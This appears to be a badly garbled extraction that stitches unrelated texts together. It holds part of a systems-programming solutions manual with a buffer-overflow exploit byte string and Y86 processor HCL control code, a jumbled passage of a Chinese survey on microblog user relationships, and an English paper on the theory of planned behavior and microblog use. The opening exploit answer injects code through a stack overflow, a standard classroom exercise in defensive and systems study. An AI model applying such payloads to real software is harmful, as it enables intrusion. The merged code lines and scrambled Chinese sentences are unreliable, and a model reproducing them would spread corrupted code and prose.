of%ebp6.long0xbfffefbc Location of buf7.long0x00000000PaddingNote that we have used the.align statement to get the assembler to insert enough extra bytes to use up twelve bytes for the code.We added an extra4bytes of0s at the end,because in some cases OBJDUMP would not generate the complete byte pattern for the data.These extra bytes(plus the termininating null byte)will overﬂow into the stack frame for test,but they will not affect the program behavior. Assembling this code and disassembling the object code gives us the following:10:6828850408push$0x804852825:b8ef be ad de mov$0xdeadbeef,%eax3a:c3ret4b:90nop Byte inserted for alignment.5c:e8ef ff bf bc call0xbcc00000Invalid disassembly.611:ef out%eax,(%dx)Trying to diassemble712:ff(bad)data813:bf00000000mov$0x0,%edi16CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS From this we can read off the byte sequence:6828850408b8ef be ad de c390e8ef ff bf bc ef ff bf00000000Problem3.39Solution:This problem is a variant on the asm examples in the text.The code is actually fairly simple.It relies on the fact that asm outputs can be arbitrary lvalues,and hence we can use dest[0]and dest[1]directly in the output list.code/asm/asmprobs-ans.c Problem3.40Solution:For this example,students essentially have to write the entire function in assembly.There is no(apparent) way to interface between theﬂoating point registers and the C code using extended asm.code/asm/fscale.c1.4.CHAPTER4:PROCESSOR ARCHITECTURE17 1.4Chapter4:Processor ArchitectureProblem4.32Solution:This problem makes students carefully examine the tables showing the computation stages for the different instructions.The steps for iaddl are a hybrid of those for irmovl and OPl.StageFetchrA:rB M PCvalP PCExecuteR rB valEPC updateleaveicode:ifun M PCDecodevalB RvalE valBMemoryWrite backR valMPC valPProblem4.34Solution:The following HCL code includes implementations of both the iaddl instruction and the leave instruc-tions.The implementations are fairly straightforward given the computation steps listed in the solutions to problems4.32and4.33.You can test the solutions using the test code in the ptest subdirectory.Make sure you use command line argument‘-i.’18CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 1####################################################################2#HCL Description of Control for Single Cycle Y86Processor SEQ#3#Copyright(C)Randal E.Bryant,David R.O’Hallaron,2002#4####################################################################56##This is the solution for the iaddl and leave problems78####################################################################9#C Include’s.Don’t alter these#10#################################################################### 1112quote’#include<stdio.h>’13quote’#include"isa.h"’14quote’#include"sim.h"’15quote’int sim_main(int argc,char*argv[]);’16quote’int gen_pc(){return0;}’17quote’int main(int argc,char*argv[])’18quote’{plusmode=0;return sim_main(argc,argv);}’1920####################################################################21#Declarations.Do not change/remove/delete any of these#22#################################################################### 2324#####Symbolic representation of Y86Instruction Codes#############25intsig INOP’I_NOP’26intsig IHALT’I_HALT’27intsig IRRMOVL’I_RRMOVL’28intsig IIRMOVL’I_IRMOVL’29intsig IRMMOVL’I_RMMOVL’30intsig IMRMOVL’I_MRMOVL’31intsig IOPL’I_ALU’32intsig IJXX’I_JMP’33intsig ICALL’I_CALL’34intsig IRET’I_RET’35intsig IPUSHL’I_PUSHL’36intsig IPOPL’I_POPL’37#Instruction code for iaddl instruction38intsig IIADDL’I_IADDL’39#Instruction code for leave instruction40intsig ILEAVE’I_LEAVE’4142#####Symbolic representation of Y86Registers referenced explicitly##### 43intsig RESP’REG_ESP’#Stack Pointer44intsig REBP’REG_EBP’#Frame Pointer45intsig RNONE’REG_NONE’#Special value indicating"no register"4647#####ALU Functions referenced explicitly##### 48intsig ALUADD’A_ADD’#ALU should add its arguments4950#####Signals that can be referenced by control logic####################1.4.CHAPTER4:PROCESSOR ARCHITECTURE195152#####Fetch stage inputs#####53intsig pc’pc’#Program counter54#####Fetch stage computations#####55intsig icode’icode’#Instruction control code56intsig ifun’ifun’#Instruction function57intsig rA’ra’#rA field from instruction58intsig rB’rb’#rB field from instruction59intsig valC’valc’#Constant from instruction60intsig valP’valp’#Address of following instruction 6162#####Decode stage computations#####63intsig valA’vala’#Value from register A port64intsig valB’valb’#Value from register B port 6566#####Execute stage computations#####67intsig valE’vale’#Value computed by ALU68boolsig Bch’bcond’#Branch test6970#####Memory stage computations#####71intsig valM’valm’#Value read from memory727374####################################################################75#Control Signal Definitions.#76#################################################################### 7778################Fetch Stage################################### 7980#Does fetched instruction require a regid byte?81bool need_regids=82icode in{IRRMOVL,IOPL,IPUSHL,IPOPL,83IIADDL,84IIRMOVL,IRMMOVL,IMRMOVL};8586#Does fetched instruction require a constant word?87bool need_valC=88icode in{IIRMOVL,IRMMOVL,IMRMOVL,IJXX,ICALL,IIADDL};8990bool instr_valid=icode in91{INOP,IHALT,IRRMOVL,IIRMOVL,IRMMOVL,IMRMOVL,92IIADDL,ILEAVE,93IOPL,IJXX,ICALL,IRET,IPUSHL,IPOPL};9495################Decode Stage################################### 9697##What register should be used as the A source?98int srcA=[99icode in{IRRMOVL,IRMMOVL,IOPL,IPUSHL}:rA;20CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 101icode in{IPOPL,IRET}:RESP;1021:RNONE;#Don’t need register103];104105##What register should be used as the B source?106int srcB=[107icode in{IOPL,IRMMOVL,IMRMOVL}:rB;108icode in{IIADDL}:rB;109icode in{IPUSHL,IPOPL,ICALL,IRET}:RESP;110icode in{ILEAVE}:REBP;1111:RNONE;#Don’t need register112];113114##What register should be used as the E destination?115int dstE=[116icode in{IRRMOVL,IIRMOVL,IOPL}:rB;117icode in{IIADDL}:rB;118icode in{IPUSHL,IPOPL,ICALL,IRET}:RESP;119icode in{ILEAVE}:RESP;1201:RNONE;#Don’t need register121];122123##What register should be used as the M destination?124int dstM=[125icode in{IMRMOVL,IPOPL}:rA;126icode in{ILEAVE}:REBP;1271:RNONE;#Don’t need register128];129130################Execute Stage###################################131132##Select input A to ALU133int aluA=[134icode in{IRRMOVL,IOPL}:valA;135icode in{IIRMOVL,IRMMOVL,IMRMOVL}:valC;136icode in{IIADDL}:valC;137icode in{ICALL,IPUSHL}:-4;138icode in{IRET,IPOPL}:4;139icode in{ILEAVE}:4;140#Other instructions don’t need ALU141];142143##Select input B to ALU144int aluB=[145icode in{IRMMOVL,IMRMOVL,IOPL,ICALL,146IPUSHL,IRET,IPOPL}:valB;147icode in{IIADDL,ILEAVE}:valB;148icode in{IRRMOVL,IIRMOVL}:0;149#Other instructions don’t need ALU1.4.CHAPTER4:PROCESSOR ARCHITECTURE21151152##Set the ALU function153int alufun=[154icode==IOPL:ifun;1551:ALUADD;156];157158##Should the condition codes be updated?159bool set_cc=icode in{IOPL,IIADDL};160161################Memory Stage###################################162163##Set read control signal164bool mem_read=icode in{IMRMOVL,IPOPL,IRET,ILEAVE};165166##Set write control signal167bool mem_write=icode in{IRMMOVL,IPUSHL,ICALL};168169##Select memory address170int mem_addr=[171icode in{IRMMOVL,IPUSHL,ICALL,IMRMOVL}:valE;172icode in{IPOPL,IRET}:valA;173icode in{ILEAVE}:valA;174#Other instructions don’t need address175];176177##Select memory input data178int mem_data=[179#Value from register180icode in{IRMMOVL,IPUSHL}:valA;181#Return PC182icode==ICALL:valP;183#Default:Don’t write anything184];185186################Program Counter Update############################187188##What address should instruction be fetched at189190int new_pc=[191#e instruction constant192icode==ICALL:valC;193#Taken e instruction constant194icode==IJXX&&Bch:valC;195#Completion of RET e value from stack196icode==IRET:valM;197#Default:Use incremented PC1981:valP;199];22CHAPTER 1.SOLUTIONS TO HOMEWORK PROBLEMSME DMispredictE DM E DM M E D E DMGen./use 1W E DM Gen./use 2WE DM Gen./use 3W Figure 1.1:Pipeline states for special control conditions.The pairs connected by arrows can arisesimultaneously.code/arch/pipe-nobypass-ans.hcl1.4.CHAPTER4:PROCESSOR ARCHITECTURE232#At most one of these can be true.3bool F_bubble=0;4bool F_stall=5#Stall if either operand source is destination of6#instruction in execute,memory,or write-back stages7d_srcA!=RNONE&&d_srcA in8{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE}||9d_srcB!=RNONE&&d_srcB in10{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE}||11#Stalling at fetch while ret passes through pipeline12IRET in{D_icode,E_icode,M_icode};1314#Should I stall or inject a bubble into Pipeline Register D?15#At most one of these can be true.16bool D_stall=17#Stall if either operand source is destination of18#instruction in execute,memory,or write-back stages19#but not part of mispredicted branch20!(E_icode==IJXX&&!e_Bch)&&21(d_srcA!=RNONE&&d_srcA in22{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE}||23d_srcB!=RNONE&&d_srcB in24{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE});2526bool D_bubble=27#Mispredicted branch28(E_icode==IJXX&&!e_Bch)||29#Stalling at fetch while ret passes through pipeline30!(E_icode in{IMRMOVL,IPOPL}&&E_dstM in{d_srcA,d_srcB})&&31#but not condition for a generate/use hazard32!(d_srcA!=RNONE&&d_srcA in33{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE}||34d_srcB!=RNONE&&d_srcB in35{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE})&&36IRET in{D_icode,E_icode,M_icode};3738#Should I stall or inject a bubble into Pipeline Register E?39#At most one of these can be true.40bool E_stall=0;41bool E_bubble=42#Mispredicted branch43(E_icode==IJXX&&!e_Bch)||44#Inject bubble if either operand source is destination of45#instruction in execute,memory,or write back stages46d_srcA!=RNONE&&47d_srcA in{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE}|| 48d_srcB!=RNONE&&49d_srcB in{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE};5024CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 52#At most one of these can be true.53bool M_stall=0;54bool M_bubble=0;code/arch/pipe-full-ans.hcl 1####################################################################2#HCL Description of Control for Pipelined Y86Processor#3#Copyright(C)Randal E.Bryant,David R.O’Hallaron,2002#4####################################################################56##This is the solution for the iaddl and leave problems78####################################################################9#C Include’s.Don’t alter these#10#################################################################### 1112quote’#include<stdio.h>’13quote’#include"isa.h"’14quote’#include"pipeline.h"’15quote’#include"stages.h"’16quote’#include"sim.h"’17quote’int sim_main(int argc,char*argv[]);’18quote’int main(int argc,char*argv[]){return sim_main(argc,argv);}’1920####################################################################21#Declarations.Do not change/remove/delete any of these#22#################################################################### 2324#####Symbolic representation of Y86Instruction Codes#############25intsig INOP’I_NOP’26intsig IHALT’I_HALT’27intsig IRRMOVL’I_RRMOVL’28intsig IIRMOVL’I_IRMOVL’29intsig IRMMOVL’I_RMMOVL’30intsig IMRMOVL’I_MRMOVL’31intsig IOPL’I_ALU’32intsig IJXX’I_JMP’33intsig ICALL’I_CALL’34intsig IRET’I_RET’1.4.CHAPTER4:PROCESSOR ARCHITECTURE25 36intsig IPOPL’I_POPL’37#Instruction code for iaddl instruction38intsig IIADDL’I_IADDL’39#Instruction code for leave instruction40intsig ILEAVE’I_LEAVE’4142#####Symbolic representation of Y86Registers referenced explicitly##### 43intsig RESP’REG_ESP’#Stack Pointer44intsig REBP’REG_EBP’#Frame Pointer45intsig RNONE’REG_NONE’#Special value indicating"no register"4647#####ALU Functions referenced explicitly##########################48intsig ALUADD’A_ADD’#ALU should add its arguments4950#####Signals that can be referenced by control logic##############5152#####Pipeline Register F##########################################5354intsig F_predPC’pc_curr->pc’#Predicted value of PC5556#####Intermediate Values in Fetch Stage###########################5758intsig f_icode’if_id_next->icode’#Fetched instruction code59intsig f_ifun’if_id_next->ifun’#Fetched instruction function60intsig f_valC’if_id_next->valc’#Constant data of fetched instruction 61intsig f_valP’if_id_next->valp’#Address of following instruction 6263#####Pipeline Register D##########################################64intsig D_icode’if_id_curr->icode’#Instruction code65intsig D_rA’if_id_curr->ra’#rA field from instruction66intsig D_rB’if_id_curr->rb’#rB field from instruction67intsig D_valP’if_id_curr->valp’#Incremented PC6869#####Intermediate Values in Decode Stage#########################7071intsig d_srcA’id_ex_next->srca’#srcA from decoded instruction72intsig d_srcB’id_ex_next->srcb’#srcB from decoded instruction73intsig d_rvalA’d_regvala’#valA read from register file74intsig d_rvalB’d_regvalb’#valB read from register file 7576#####Pipeline Register E##########################################77intsig E_icode’id_ex_curr->icode’#Instruction code78intsig E_ifun’id_ex_curr->ifun’#Instruction function79intsig E_valC’id_ex_curr->valc’#Constant data80intsig E_srcA’id_ex_curr->srca’#Source A register ID81intsig E_valA’id_ex_curr->vala’#Source A value82intsig E_srcB’id_ex_curr->srcb’#Source B register ID83intsig E_valB’id_ex_curr->valb’#Source B value84intsig E_dstE’id_ex_curr->deste’#Destination E register ID。

微博用户关系挖掘研究综述

［15－16 ］
用户的动态变化是微博群体的主要特点，所以对微博用户进行动态分析可以挖掘出一些潜在规律。 Kivran － Swaine F．等认为对群体结构的动态分析可以帮助判断微博用户之间关系的持续性
［26 ］
。 Meeder B．
［27 ］
等利用时间戳信息分析微博用户的动态变化规律
微博主要是一种在线用户交流平台，用户可以根
。此外，微博在凝聚民心、降低事件危害以
据自己的喜好表达自己的信息、寻找志同道合或感兴趣的用户。微博用户之间主要表现为主动关注、相互关注或被关注等行为式（如图 2 所示）。在微博网络中，互相关注的用户数量可能会比较多，但是不同的用户之间所交互的内容也会存在差异。如图 2 所示，相同颜色点（表示用户）基本上汇聚在同一区域且具有相同的关系，而同一用户也可能同时处于多个不同的关系之中。所以，微博用户所产生的活动主要是在微博网络中形成关系或群体。
［1 －3］
0
引
言
户交互性等特点
。
微博之所以能够成为当今国内外的主流社交媒体，主要是因为它具有强大的用户实时交互性。用户在使用微博的过程中，往往在微博网络空间中结成了比如，用户之间的关注关系、社区中的好友种种关系，或亲情关系、实时交互过程中因共同购买或评论产品而结成的共同兴趣关系等
。
袁毅等通过跟踪微博用户在时间周期内关于某一话题的交流数据，发现用户在信息交流过程中形成关注、评论、转发和引用四种社会关系网络，指出四种关系网络有其不同的结构形态，但同时又具有某些共性特征及联系
［28 ］
。但是，微博是一种新兴的、特殊的复

蒋彩虹-microblog

The effects of the self and social identity on the intention to microblog:An extension of the theory of planned behaviorCaihong Jiang a ,b ,Wenguo Zhao a ,Xianghong Sun a ,Kan Zhang a ,Rui Zheng a ,*,Weina Qu a ,*a Key Laboratory of Behavioral Science,Institute of Psychology,Chinese Academy of Sciences,Beijing,ChinabInstitute of Human Factors &Ergonomics,Department of Industrial Engineering,Tsinghua University,Beijing,Chinaa r t i c l e i n f oArticle history:Received 2March 2016Received in revised form 27June 2016Accepted 22July 2016Available online 6August 2016Keywords:MicroblogTheory of planned behavior Intention Self-identity Social identitya b s t r a c tMicroblogging has become one of the most popular social communication styles in the world.Much research has already addressed this hot issue;however,studies examining the intentions behind microblogging behaviors are limited.This study extended the theory of planned behavior (TPB)to predict intention to microblog and other behaviors.The results showed that social identity was the greatest predictor of intention,followed by attitude and perceived behavioral control.Social identity fully mediated the effects of subjective norms and self-identity on intention.Intention signi ﬁcantly predicted users'microblogging behaviors.These results have important implications for industry players and marketing managers.©2016Elsevier Ltd.All rights reserved.1.IntroductionMicroblog is a blog-like system (Yan,Yi,&Wu,2012)that allows users to write brief text updates (fewer than 140characters)and send them to friends and interested observers via text messaging,instant messaging (IM),e-mail,or the web (Java,Song,Finin,&Tseng,2007).Microblog is a new type of Internet communication platform that has rapidly gained popularity.Both Sina and Tencent (the largest microblog service providers in China)claim that more than 500million users are registered on their microblog platforms (ChinaLabs,Internet,and Society,2013).However,the factors that determine whether individuals will adopt microblogging remain unknown.The theory of planned behavior (TPB;Ajzen,1991)is one of the most in ﬂuential and well-validated social psychological theories for predicting human behavior in various contexts,and it can be used to explain Chinese users'microblogging behaviors.2.Literature reviewTPB is a major social-cognitive theory developed by Ajzen (1991).Ajzen suggested that individual behavior is primarily pre-dicted by behavioral intentions,which are further determined by three salient motivational factors:attitude,subjective norms,and perceived behavioral control (PBC).Although the basic model ex-plains most of the variation in intention,some researchers have suggested that the explanatory power of this model would signif-icantly increase if self-identity (Smith,Terry,Manstead,Kotterman,&Wolfs,2007;Terry,Hogg,&White,1999)and social identity (Fielding,McDonald,&Louis,2008;Terry et al.,1999)were included.However,few studies had explored the explanatory po-wer of these variables in a social networking context.Consequently,the current study used an extended TPB model that included the basic TPB model as well as self-identity and social identity to explain microbloggers'intentions and behaviors.2.1.Original TPB model2.1.1.IntentionIntention refers to a person's willingness to perform a behavior.Intention is considered as a proximal determinant of behavior.A meta-analysis reported that intention accounted for 28%of the*Corresponding authors.16Lincui Road,Chaoyang District,Beijing,100101,China.E-mail addresses:zhengrui@ (R.Zheng),quwn@ (W.Qu).Contents lists available at ScienceDirectComputers in Human Behaviorjou rn al homepage:/locate/comphumbeh/10.1016/j.chb.2016.07.0460747-5632/©2016Elsevier Ltd.All rights reserved.Computers in Human Behavior 64(2016)754e 759variance of behavior(Sheeran,2002).Previous studies of the as-sociation between intention and actual behaviors in a social network context have also conformed the predictive power of intention(Heirman,Walrave,&Ponnet,2013;Pelling&White, 2009);that is,greater intention indicate more behaviors related to intention.2.1.2.AttitudeAttitude is deﬁned as the degree to which a person favorably evaluates or appraises behavior.People have positive attitudes to-ward certain behaviors when they strongly believe that they will obtain a positive outcome if they perform the behavior.Conversely, people have a negative attitude when they hold a strong belief that negatively valued outcomes will result from that behavior(Ajzen, 1991;Montano&Kasprzyk,2008).Empirical work has consis-tently reported the positive effect of attitude on behavioral in-tentions in contexts related to Internet service acceptance or adoption(Baker&White,2010;LaRose,Lai,Lange,Love,&Wu, 2005;Lin,2006;Pelling&White,2009).Therefore,favorable atti-tudes are expected to strongly increase the probability of microblog use.2.1.3.Subjective normsSubjective norms refer to the perceived social pressure that comes from certain important referents to perform a particular behavior(Ajzen,1991).These referents are always their friends, family members and other people important to them.People are always motivated to comply with these referents.People are more likely to perform a behavior when they believe that certain refer-ents think they should perform a behavior,and they are encouraged to satisfy the expectations of these referents.Otherwise,people will be less likely to perform a behavior(Montano&Kasprzyk,2008). Subjective norms are signiﬁcantly associated with users'behavioral intentions toward Internet service use and consistently reported (Darvell,Walsh,&White,2011;Liao,Chen,&Yen,2007).Therefore, Chinese people who consider microblog adoption as approved by their friends may be more likely to display a greater intention to microblog.2.1.4.PBCPBC refers to the perceived ease of performing a behavior,and it is a signiﬁcant predictor of intention(Ajzen,1991;Armitage& Conner,2001).Two major factors likely affect PBC:access to necessary resources and opportunities to perform the behavior. People have a high degree of PBC when they perceive that they have access to the resources and opportunities needed to successfully perform a behavior(Conner&Armitage,1998),which in turn leads to a greater intention to perform the behavior.Previous studies have found that PBC signiﬁcant predicts intention to obtain infor-mation about and purchase a product from an Internet vendor (Pavlou&Fygenson,2006).The signiﬁcant predictive effect of PBC on intention was conﬁrmed in virtual communities(Lin,2006)and with regard to the adoption instant messaging(Lu,Zhou,&Wang, 2009).Because of the ease of obtaining access to microblogging and the simplicity of its user interface(Hauptmann&Gerlach,2010), we expected that PBC would positively predict users'intentions to microblog.2.2.Additional variables:Self-identity and social identity2.2.1.Self-identitySelf-identity is the extent to which performing a behavior is an important component of a person's self-concept(Conner& Armitage,1998).One is more likely to perform a behavior with a high degree of role identity because people always establish expectations in accordance with role-appropriate behavior and then perform appropriate behaviors to meet these expectations. This process can conﬁrm one's self concept(Callero,1985).Previous studies have conﬁrmed that self-identity explains a unique amount of variance in intention(Fielding et al.,2008;Rise,Sheeran,& Hukkelberg,2010;Sheeran,2002).Microblogs provide a public platform for people,especially youth,to express themselves;hence, people with a high degree of self-identity are expected to show greater intention.In addition,self-identity primarily focuses on individualistic characteristics(Terry&Hogg,1996)that may be related to attitude and PBC.According to the deﬁnition,both attitude appraisal and sense of control originate from one's internal feelings.When these internal feeling are salient to one's self concept,they can inﬂuence one's self-identity.Consequently,the mediation effect of self-identity was also examined in this study.2.2.2.Social identityAccording to social identity theory,social identity derives from the individual's knowledge of his or her membership in a social group(or groups),together with the emotional signiﬁcance attached to that membership(Fielding et al.,2008;Tajfel,1974).The process of categorizing oneself with a particular social identity leads to similarity.People in the same group are more likely to behave in accordance with their in-group members and to differ from out-group members.Consistent with this reasoning,Baker and White found that people with a high level of social identity(as indicated by group norms)showed greater intention to use social networking sites frequently(Baker&White,2010).In addition, users are more likely to stay longer and to be more active in a network when they are invited by people with a similar social identity(Lento,Welser,Gu,&Smith,2006).Thus,people who perceived microblog adoption is supported by the group member he/she belongs to may show greater intention.Furthermore,social identity addresses social inﬂuence,and subjective norms primarily focus on interpersonal inﬂuence (Armitage&Conner,2001;Hagger&Chatzisarantis,2006).Social identity theory assumes that if a particular social identity is salient, then individuals tend to be in accordance with the values and be-liefs of the group;furthermore,they show the motivation to rein-force group membership(Fielding et al.,2008).Moreover, subjective norms are determined by normative beliefs and the motivation to comply with certain beliefs(Ajzen,1991).Hence, subjective norms can be assumed to relate to social identity,and empirical evidence supports this assumption.For example,scholars have found that subjective norms are positively related to in-tentions,but only for people who identify strongly with the group (Fielding et al.,2008).Another study found that social identity fully mediated the effect of subjective norms on intention (Thorbjornsen,Pedersen,&Nysveen,2007).In addition,a continuum exists between self-identity and social identity according to social identity theory.Individuals'feelings and actions,which are inﬂuenced by personal or group-related characteristics,are determined by where they are placed on the continuum(Fielding et al.,2008;Tajfel&Turner,1979).Micro-blogging is an open-source communication platform,and user behavior might be more likely to be inﬂuenced by their interactions with group members.Researchers have suggested that people who identify strongly with a group,and consequently develop a social identity by embedding their personal identity within a particular group,tend to accept the intentions and behaviors of other group members(Chatzisarantis,Hagger,Wang,&Thøgersen-Ntoumani, 2009;Turner,1985).Thus,self-identity might be positively related to social identity.C.Jiang et al./Computers in Human Behavior64(2016)754e7597553.The hypotheses of the present studyThe present study adopted the TPB model to explain micro-blogging behaviors in China.In addition,the present study was especially interested in exploring the direct effect of self-identity and social identity as well as their effect as mediators that ac-count for microblogging behaviors.Based on the discussion above, the following hypotheses were formed,and the proposed model is shown in Fig.1.H1.Intention is positively related to users'microblogging behaviors.H2.Positive attitude(H2a),subjective norms(H2b)and PBC(H2c) will positively predict users'intentions to microblog.H3.Self-identity(H3a)and social identity(H3b)will have posi-tive,direct effects on users'intentions to microblog.H4.Self-identity(H4a)and social identity(H4b)will mediate the relationships among attitude,PBC,subjective norms and intention. H5.Self-identity will inﬂuence intention by raising the degree of social identity inﬂuence.4.Methods4.1.ParticipantsA total of30,000users were invited to complete questionnaires via the“@”function on the Sina microblog.Exactly505users responded and were paid CNY30(approximately$4.80).Because of incomplete data and extreme data(i.e.,those exceeding±3stan-dard errors),the number of valid questionnaires was490(185 males and305females;percentage¼97.03%).4.2.Measures4.2.1.DemographicsDemographic information including age,gender,and education level was collected from the participants.4.2.2.Extended TPB variablesThe full scale was adapted according to the TPB questionnaire issued at the TPB website(Ajzen,n.d).A brief introduction to the scale follows:Intention.Four items were used to assess intention to use the Sina microblog(e.g.,“I intend to use a microblog to search for information”,ranging from1¼strongly disagree to7¼strongly agree).Attitude.Attitude was assessed using three items that the par-ticipants rated on a7-point Likert scale ranging from1¼strongly disagree to7¼strongly agree(e.g.,“Microblogging is helpful for me”).Subjective norms.Three7-point semantic differential scales were used to assess subjective norms(e.g.,“The people who inﬂuence me greatly support my use of microblogs”,ranging from 1¼strongly disagree to7¼strongly agree).PBC.Four items were used to measure PBC(e.g.,“I am familiar with the use of all of the functions of microblogs”,ranging from 1¼strongly disagree to7¼strongly agree).Self-identity.The self-identity measure was composed of three items(e.g.,“I am a microblog user”,ranging from1¼strongly disagree to7¼strongly agree).Social identity.Social identity was measured usingﬁve items that were rated on a7-likert scale(e.g.,“I like to use microblogs with friends”,ranging from1¼strongly disagree to7¼strongly agree).4.2.3.Microblogging behaviorUsers'microblogging behaviors were measured using the number of actual statuses that users posted.The number of actual statuses were collected to overcome the limitation that all of the data originated from a self-rated questionnaire to(a)improve the ecological validity of the present study;and(b)minimize the common method bias.5.Results5.1.Demographic resultsThe demographic characteristics of the participants are shown in Table1.A majority of the users were younger than30years old (93.8%),and only6.2%of users were older than30years.Most of the users(69.8%)had college degrees or higher education levels.This distribution was consistent with regard to the whole sample,in which90%of Sina microblog users are youths born after the1990s, and70.8%of users'education levels are college level or above(Sina Weibo Data Center,2013).5.2.Reliability analysisThe Cronbach's alpha coefﬁcients for all of the constructs in the extended TPB model were higher than0.65(see Table2),Fig.1.The proposed path model of extended TPB.C.Jiang et al./Computers in Human Behavior64(2016)754e759756suggesting that the TPB questionnaire is reliable.5.3.Correlation analysisAs Table 2shows,all of the constructs of the extended TPB were highly correlated with the intention to microblog (p s <0.01)and the number of statuses;however,the subjective norms item wasnot related to the number of statuses (p >0.05).5.4.Results of hypotheses testingThe current study used a path analysis with an unbiased method via Amos 17.0to assess the proposed path model (see Fig.1).The c 2test and its ﬁt indices (i.e.,the normed ﬁt index [NFI],comparative ﬁt index [CFI],goodness of ﬁt index [GFI],and in ﬁnite ﬁt index [IFI])were adopted to evaluate whether the actual data ﬁt well with our proposed model.Fit indices larger than 0.90indicated good ﬁts.The results showed that the proposed path model obtained acceptable model ﬁts (c 2¼102.65,p <0.01,GFI ¼0.94,NFI ¼0.96,IFI ¼0.96,CFI ¼0.96).Social identity (b ¼0.49,p <0.01)had the greatest direct pre-dictive effect on intention,followed by attitude (b ¼0.21,p <0.01)and PBC (b ¼0.19,p <0.01;see Fig.2),supporting H3b,H2a and H2c respectively.However,the direct effects of self-identity (b ¼0.07,p >0.05)and subjective norms (b ¼0.04,p >0.05)on intention were not signi ﬁcant,thereby rejecting H3a,H4a and H2b.In addition,subjective norms were positively correlated with social identity (b ¼0.32,p <0.01),which in turn determined intention,thereby fully supporting H4b.Self-identity positively affected social identity (b ¼0.62,p <0.01),and this result sup-ported stly,intention signi ﬁcantly predicted users'behavior to microblog (b ¼0.13,p <0.01),fully supporting H1.Table 1Demographic characteristics of the sample (N ¼490).NPercent (%)Gender Male 18537.8Female 30562.2Age (year)<186813.918e 2013327.121e 2518938.626e 307014.3>3030 6.1Education levelMiddle school or less 30 6.1High school11824.1College/university 31864.9Masters or above244.9Table 2The reliability,means,standard deviations and correlations among the TPB constructs,intention and the actual number of statuses (N ¼490).VariablesaN M SD 1234561Attitude0.803 5.760.962Subjective norm 0.663 4.74 1.240.37a 3PBC0.684 5.460.920.69a 0.49a 4Self-identity 0.673 5.630.940.77a 0.47a 0.73a 5Social identity 0.8259.04 1.660.70a 0.60a 0.72a 0.76a 6Intention0.744 5.41 1.000.73a 0.53a 0.74a 0.74a 0.83a 7The number of statusesee3.170.420.17a0.050.10b0.14a0.12a0.14aNote.aCorrelation signi ﬁcant at the p <0.01level (2-tailed).bCorrelation signi ﬁcant at the p <0.05level (2-tailed);PBC ¼perceived behavioralcontrol.Fig.2.The proposed path model summary with standardized coef ﬁcients.C.Jiang et al./Computers in Human Behavior 64(2016)754e 7597576.DiscussionThis study adopted an extended TPB to examine the psycho-logical determinants of intention to use the Sina microblog and microblogging behavior.The results of a path analysis provided basic support to the efﬁciency of the extended TPB with regarding to interpreting Chinese users'intentions to adopt microblogging.As expected,intention signiﬁcantly predicted users'microblogging behaviors.Attitude and PBC direct affected intention.In particular, the path analysis showed that social identity was the most powerful predictor of intention.In addition,theﬁndings showed that social identity fully mediated the relationships between intention and both subjective norms and self-identity.Theﬁndings of the present study highlight the vital role that social identity plays with regard to user microblog adoption.As hypothesized,social identity was the most inﬂuential factor affecting users'intentions,implying that groups inﬂuence us to explore the acceptance and adoption of social networking plat-forms.China is a collectivist country that focuses on relationships among people;therefore,its people attach importance to a sense of belonging.Those with a high degree of group identiﬁcation might favor group members'beliefs and attitudes as well as act in similar ways(Chatzisarantis et al.,2009);in turn,this behavior strengthens the bonds among group members.One crucial purpose of adopting a social network platform is to form and maintain relationships (Tao,Jung,Chung,&Ming-Hui,2012);due to relationship costs, people tend not to switch services(Zhang,Zhao,Lee,&Chen,2011). Therefore,it is unsurprising to observe that social identity has a vital effect on intention.Social identity also found signiﬁcant mediated the relationship between other the TPB variables and intention,which is consistent with our hypotheses.These results provide more evidence to support the important role that social identity plays in microblog adoption.Social identity fully mediated the effect of self-identity on intention,suggesting that self-presentation is not as important as we previously thought regarding microblog adoption.Rather, group identiﬁcation better predicted user intention to microblog. This result was in accordance with previousﬁndings,reporting that people with a high degree of group identiﬁcation consequently develop social identities by embedding their personal identities within a particular group(Turner,1985).Most research had consistently reported the predictive effects of attitude,subjective norms and PBC on intention.In present study, favorable attitudes and high degree of PBC also signiﬁcantly pre-dicted intention,consistent with previous work(Pelling&White, 2009;Yang,Hsu,&Tan,2010).However,subjective norm showed a signiﬁcant but indirect effect in predicting user intention;the direct effect was fully mediated by social identity.One possible explanation might be that subjective norms predict intention when a behavior is performed in a context with high degree of group interaction(Sapp,Harrod,&Zhao,1994);however,the interaction that occurs via microblogging is virtual and not in the real world. Thus,the direct inﬂuence of subjective norms on intention was weakened.In this case,individual behaviors might be primarily guided by group members.Previous research suggested that behavior is inﬂuenced by group members and group rules when a particular social identity is important(Fielding et al.,2008;Tajfel& Turner,1979).Behavioral intention signiﬁcantly predicted users'micro-blogging behaviors,corroborating previous studies(Heirman et al., 2013;Pelling&White,2009),showing the predictive effect of intention on behavior in a social networking communication context.The current study had important practical implications.First,it will help us develop the concept of microblogging and improve both the microblogging client and infrastructure software when we know what factors determine user intention.Second,the present ﬁndings suggest social identity should receive more attention among industry players and marketing managers when developing and marketing communication services such as microblogs.This study also had limitations.First,the number of microblog statuses might not fully reﬂect a user's actual intentions because users most likely cancel statuses for personal reasons,thereby reducing the predictive effect of intention on actual behavior.The second limitation was the disproportionate sample numbers be-tween females(N¼309)and males(N¼189).Last but not least,the lower response rate and the problems associated with self-report methods(e.g.,social desirability)are additional limitations. Future studies should take these factors into consideration. AcknowledgementsWe would like to thank Professor Tingshao Zhu and the mem-bers of his team,including Lin Li,Ang Li,and Bibo Hao,for their help in collecting the data.We also appreciate the helpful comments from Han Lin in response to an earlier version of this manuscript. This work was supported by grants from the National Natural Sci-ence Foundation of China(Grant No.31400886),the“Strategic Priority Research Program”of the Chinese Academy of Sciences(No. XDA06030800)and the Basic Project of National Science and Technology of China(No.2009FY110100).ReferencesAjzen,I.(1991).The theory of planned 